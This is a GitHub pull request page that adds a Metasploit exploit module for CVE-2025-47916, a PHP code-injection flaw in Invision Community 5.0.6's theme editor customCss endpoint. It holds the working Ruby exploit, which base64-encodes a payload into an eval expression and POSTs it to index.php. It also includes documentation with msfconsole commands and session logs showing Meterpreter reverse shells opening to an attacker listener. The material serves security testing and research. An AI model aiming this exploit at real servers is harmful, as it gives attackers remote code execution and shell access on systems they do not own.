Skip to content

Add Invision Community 5.0.6 customCss RCE (CVE-2025-47916) #20214

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 5 commits into from
May 21, 2025
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
133 changes: 133 additions & 0 deletions documentation/modules/exploit/multi/http/invision_customcss_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
## Vulnerable Application

This Metasploit module exploits a remote-code injection in Invision Community ≤ 5.0.6 via the **theme editor**’s `customCss` endpoint:

* **CVE-2025-47916**: malformed `{expression="…"}` allows evaluation of arbitrary PHP expressions in the `content` parameter.

### To replicate a vulnerable environment

1. **Download the pre-built Docker lab** (includes `Dockerfile`, `docker-compose.yml` and the IPS 5.0.6 application):

```bash
wget https://archive.org/download/ips-5.0.6/IPS-5.0.6.zip -O ips_5.0.6_lab.zip
unzip ips_5.0.6_lab.zip
cd ips_5.0.6_lab
```

2. **Bring up the stack**:

```bash
docker-compose up -d
```

3. **Complete the installer** by browsing to [http://localhost:7777](http://localhost:7777).

* You do **not** need a valid license key; you can enter any text and proceed.
* Use database host `db`, user `ipsuser`, password `ipspass`, database `ipsdb`.

## Verification Steps

1. **Check the installed version**:

```bash
curl -s http://localhost:7777/admin/install/eula.txt | head -n5
```

Expected output:

```
=============================[NOTE]=============================
Buy license at https://invisioncommunity.com/buy/self-hosted/
================================================================
IPS 5.0.6 (5000074)
=============================[NOTE]=============================
```

2. **In `msfconsole`**, confirm the module’s `check` returns vulnerable:

```bash
use exploit/multi/http/invision_customcss_rce
set RHOSTS 127.0.0.1
set TARGETURI /
check
```

## Options

No option

## Scenarios

### PHP Meterpreter (in-memory)

```bash
use exploit/multi/http/invision_customcss_rce
set TARGET 0
set RHOSTS 127.0.0.1
set TARGETURI /
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
run
```

### Command Shell (ARCH_CMD)

```bash
use exploit/multi/http/invision_customcss_rce
set TARGET 1
set RHOSTS 127.0.0.1
set TARGETURI /
set payload cmd/linux/http/x64/meterpreter_reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
run
```

## Expected Results

With `php/meterpreter/reverse_tcp`:

```plaintext
msf6 exploit(multi/http/invision_customcss_rce) > run http://localhost:7777
[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected IPS version: 5.0.6
[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6)
[*] Sending exploit to 127.0.0.1:7777 ...
[*] Sending stage (40004 bytes) to 172.30.0.3
[*] Meterpreter session 9 opened (192.168.1.36:4444 -> 172.30.0.3:34414) at 2025-05-20 18:13:55 +0200
[*] Session 9 created in the background.
msf6 exploit(multi/http/invision_customcss_rce) > sessions 9
[*] Starting interaction with 9...

meterpreter > sysinfo
Computer : 01ed59644450
OS : Linux 01ed59644450 6.14.6-2-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 10 May 2025 20:09:10 +0000 x86_64
Meterpreter : php/linux
```

With `cmd/linux/http/x64/meterpreter_reverse_tcp`:

```plaintext
msf6 exploit(multi/http/invision_customcss_rce) > run http://localhost:7777
[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected IPS version: 5.0.6
[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6)
[*] Sending exploit to 127.0.0.1:7777 ...
[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 172.30.0.3:46552) at 2025-05-20 18:11:35 +0200
[*] Session 7 created in the background.
msf6 exploit(multi/http/invision_customcss_rce) > sessions 7
[*] Starting interaction with 7...

meterpreter > sysinfo
Computer : 172.30.0.3
OS : Debian 12.10 (Linux 6.14.6-2-cachyos)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
124 changes: 124 additions & 0 deletions modules/exploits/multi/http/invision_customcss_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,124 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Payload::Php

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Invision Community 5.0.6 customCss RCE',
'Description' => %q{
Invision Community up to and including version 5.0.6 contains a remote code
execution vulnerability in the theme editor's customCss endpoint. By crafting
a specially formatted `content` parameter with a `{expression="…"}`
construct, arbitrary PHP can be evaluated. This module leverages that flaw
to execute payloads or system commands as the webserver user.
},
'Author' => [
'Egidio Romano (EgiX)', # Vulnerability discovery & original PoC
'Valentin Lobstein' # Metasploit module
],
'References' => [
['CVE', '2025-47916'],
['URL', 'https://karmainsecurity.com/KIS-2025-02'],
['URL', 'https://invisioncommunity.com']
],
'License' => MSF_LICENSE,
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-05-16',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end

def check
path = normalize_uri(target_uri.path, 'admin', 'install', 'eula.txt')
res = send_request_cgi('uri' => path, 'method' => 'GET')
unless res&.code == 200 && res.body =~ /^ IPS\ ([\d.]+) /
return CheckCode::Unknown('Unable to retrieve or parse IPS version from EULA')
end

version = Rex::Version.new(Regexp.last_match(1))
print_status("Detected IPS version: #{version}")

if version.between?(Rex::Version.new('5.0.0'), Rex::Version.new('5.0.6'))
CheckCode::Vulnerable("IPS version #{version} is vulnerable (≤ 5.0.6)")
else
CheckCode::Safe("IPS version #{version} is not vulnerable")
end
end

# I'll remove this method when PR #20160 is merged. I'm aware of it, thanks
def php_exec_cmd(encoded_payload)
vars = Rex::RandomIdentifier::Generator.new
dis = '$' + vars[:dis]
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{encoded_clean_payload}");
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
END_OF_PHP_CODE
return shell
end

def exploit
raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
b64 = Rex::Text.encode_base64(raw)

expr = "{expression=\"die(eval(base64_decode('#{b64}')))\"}"
post_data = {
'app' => 'core',
'module' => 'system',
'controller' => 'themeeditor',
'do' => 'customCss',
'content' => expr
}

print_status("Sending exploit to #{rhost}:#{rport} ...")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_post' => post_data
)
end
end